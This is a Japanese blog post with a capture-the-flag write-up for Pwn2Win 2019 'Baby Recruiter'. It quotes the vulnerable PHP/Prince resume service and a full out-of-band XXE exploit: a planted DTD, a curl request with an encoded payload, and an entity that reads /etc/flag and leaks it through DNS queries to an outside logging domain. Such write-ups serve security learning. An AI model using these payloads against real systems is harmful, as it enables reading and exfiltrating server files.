こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

Pwn2Win CTF 2019 Writeup - Baby Recruiter

Question

We found a Curriculum service from HARPA. Well, what do you think about pwn it? :)
P.S.: the flag is not in default format, so add CTF-BR{} when you find it (leet speak).

f:id:graneed:20191110221706p:plain

添付のソースコードは以下のとおり。

setup.sh

#!/bin/bash

# build docker
docker build -t babyrecruiter .

# setup firewall
docker run --cap-add=NET_ADMIN  -p 80:80 -it babyrecruiter /bin/bash -c 'chmod +x iptables.sh && ./iptables.sh && rm iptables.sh'

iptables.sh

#!/bin/bash
IPT="/sbin/iptables"

# Server IP
SERVER_IP="$(ip addr show eth0 | grep 'inet ' | cut -f2 | awk '{ print $2}')"

echo "flush iptable rules"
$IPT -F
$IPT -X
$IPT -t nat -F
$IPT -t nat -X
$IPT -t mangle -F
$IPT -t mangle -X

echo "Set default policy to 'DROP'"
$IPT -P INPUT   DROP
$IPT -P FORWARD DROP
$IPT -P OUTPUT  DROP

## This should be one of the first rules.
## so dns lookups are already allowed for your other rules
$IPT -A OUTPUT -p udp --dport 53 -m state --state NEW,ESTABLISHED -j ACCEPT
$IPT -A INPUT  -p udp --sport 53 -m state --state ESTABLISHED     -j ACCEPT
$IPT -A OUTPUT -p tcp --dport 53 -m state --state NEW,ESTABLISHED -j ACCEPT
$IPT -A INPUT  -p tcp --sport 53 -m state --state ESTABLISHED     -j ACCEPT


echo "allow all and everything on localhost"
$IPT -A INPUT -i lo -j ACCEPT
$IPT -A OUTPUT -o lo -j ACCEPT

#######################################################################################################
## Global iptable rules. Not IP specific

echo "Allowing new and established incoming connections to port 80"
$IPT -A INPUT  -p tcp -m multiport --dports 80 -m state --state NEW,ESTABLISHED -j ACCEPT
$IPT -A OUTPUT -p tcp -m multiport --sports 80 -m state --state ESTABLISHED     -j ACCEPT

# Log before dropping
$IPT -A INPUT  -j LOG  -m limit --limit 12/min --log-level 4 --log-prefix 'IP INPUT drop: '
$IPT -A INPUT  -j DROP

$IPT -A OUTPUT -j LOG  -m limit --limit 12/min --log-level 4 --log-prefix 'IP OUTPUT drop: '
$IPT -A OUTPUT -j DROP

exit 0

Dockerfile

FROM ubuntu:18.04

ENV DEBIAN_FRONTEND=noninteractive 

# install web server
RUN apt-get update

RUN apt install -y apache2 curl php libapache2-mod-php php-mysql php-xml gdebi wget iptables net-tools

# we really don't like hackers
RUN find / -name "*.dtd" -type f -delete

RUN find / -name "*.xml" -type f -delete

# install prince
WORKDIR /tmp

RUN wget https://www.princexml.com/download/prince_12.5-1_ubuntu18.04_amd64.deb

RUN gdebi --option=APT::Get::force-yes="true" --option=APT::Get::Assume-Yes="true" -n prince_12.5-1_ubuntu18.04_amd64.deb

# setup webserver
WORKDIR /var/www/html

COPY . . 

RUN rm -rf index.html Dockerfile && mkdir resumes

RUN chmod 777 resumes

RUN echo '' > resumes/index.html 

# create a flag
RUN echo -n 'this_is_not_the_flag' > /etc/flag

RUN chmod +x iptables.sh && ./iptables.sh

RUN rm iptables.sh

# start web service
RUN service apache2 start

EXPOSE 1337
CMD apachectl -D FOREGROUND

index.php

<?php  
    $binary = "/usr/bin/prince";

    stream_wrapper_unregister("phar");
    stream_wrapper_unregister("data");
    stream_wrapper_unregister("glob");
    stream_wrapper_unregister("compress.zlib");
    stream_wrapper_unregister("php");

    if ($_SERVER['REQUEST_METHOD'] == 'POST') {

    /* create resume using prince */
    $content = $_POST['content'];
    $filename = md5($_SERVER['REMOTE_ADDR']);
    $file = "/tmp/" . $filename  . ".html";
    $sf = fopen($file, 'w');
    fwrite($sf, $content);
    fclose($sf);

    exec($binary . " --no-local-files " . $file . " -o resumes/" . $filename . ".pdf");

    /* debug */
    $dom = new DOMDocument();
    $dom->loadXML($content, LIBXML_NOENT | LIBXML_DTDLOAD);
    $info = simplexml_import_dom($dom);
    
    /*$page = '
    <html>
    <head>
        <title>Resumes</title>
        <style>
            textarea {
            width: 500px;
            height: 300px;
        }
        </style>
    </head>
        <body>
            <span>name: ' . $info->name . '</span><br><br>
        </body>
    </html>
        ';

    echo $page;*/

    header('Location: /resumes/' .  $filename . '.pdf');
    } else {
        echo '
            <html>
            <head>
                <title>Resume</title>
                <style>
                    textarea {
                    width: 500px;
                    height: 300px;
                }
                </style>
            </head>
                <body>
                    <h1>Apply today!</h1>
                    <span>Good enough to work with HARPA? send us you resume: </span><br>
                    <textarea name="content" form="princeForm">Enter text here...</textarea>
                    <form method="POST" action="/index.php" id="princeForm">
                        <input type="submit" value="Convert to PDF"></input>
                    </form>
                </body>
            </html>
                ';
    }

Solution

ソースコード解析

ソースコードを読み解くと以下のことがわかる。

  • フラグファイルは/etc/flagに存在。
  • 外部への通信はDNSのみ可能。
  • 入力データを/tmp/配下にファイル出力。ファイル名はクライアントのIPアドレスmd5計算したもの。
  • princeというツールを使用してHTMLからPDFに変換。
  • デバッグ用に入力データをloadXMLでパース。

調査

princeの既知の脆弱性を疑って検索すると以下の記事がHITする。
www.corben.io

index.phpソースコードと酷似しているが、今回の問題は最新のprinceを使用しているためこの脆弱性は使用できない。

次にloadXMLを使用している点からXXEを疑う。 XMLのパース結果は直接レスポンスとして返ってこないため、OOB XXE Attackの使用を考える。
github.com

OOB XXE Attackには別途DTDファイルが必要だが、iptablesで外部への通信はDNS以外ブロックされている。 そこで、入力データを/tmp/配下にファイル出力していることを利用し、サーバ内にDTDファイルを作成させる。

なお、同じIPアドレスからDTDファイルの作成リクエストとDTDファイルを参照させるリクエストを発行すると、ファイルが上書きされてしまうが、送信元のIPアドレスを変えればサーバ内にDTDファイルを残した状態にできる。

リーク先の通信もブロックされるが、昨今のマルウェアやウィルス対策ソフトのように、DNSサブドメインを使用してリークさせればよい。

exploit

1. ドメイン用意

以下のサービスを利用して、DNSサブドメインへのクエリを確認できるドメインを払い出す。 dnsbin.zhack.ca

51a19e650babb6f295ed.d.zhack.caが払い出された。

2. DTDファイル作成

取得したドメインをセットして以下を送信する。

<!ENTITY % all "<!ENTITY send SYSTEM 'http://%file;.51a19e650babb6f295ed.d.zhack.ca/'>">
%all;

curlコマンドにすると以下のとおり。

$ curl http://167.71.102.84/index.php -d "content=%3C%21ENTITY+%25+all+%22%3C%21ENTITY+send+SYSTEM+%27http%3A%2F%2F%25file%3B.51a19e650babb6f295ed.d.zhack.ca%2F%27%3E%22%3E%0D%0A%25all%3B" -v
*   Trying 167.71.102.84...
* TCP_NODELAY set
* Connected to 167.71.102.84 (167.71.102.84) port 80 (#0)
> POST /index.php HTTP/1.1
> Host: 167.71.102.84
> User-Agent: curl/7.58.0
> Accept: */*
> Content-Length: 145
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 145 out of 145 bytes
< HTTP/1.1 302 Found
< Date: Sun, 10 Nov 2019 02:31:54 GMT
< Server: Apache/2.4.29 (Ubuntu)
< Location: /resumes/5e870399feeb3947c7f6c27b3ee0d71e.pdf
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
<
* Connection #0 to host 167.71.102.84 left intact

レスポンスのLocationヘッダのPDFファイル名と同じファイル名(拡張子はhtml)で、/tmp/DTDファイルが生成されているはずである。

3. リーク要求

2とは別のIPアドレスから以下を送信する。

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [
  <!ENTITY % file SYSTEM "file:///etc/flag">
  <!ENTITY % dtd SYSTEM "/tmp/5e870399feeb3947c7f6c27b3ee0d71e.html">
  %dtd;
]>
<data>&send;</data>

すると、DNSBinにクエリが来た。
c0ngr4tz_y0u_w3r3_4ccpt3d

CTF-BR{}で括ったものがフラグ。
CTF-BR{c0ngr4tz_y0u_w3r3_4ccpt3d}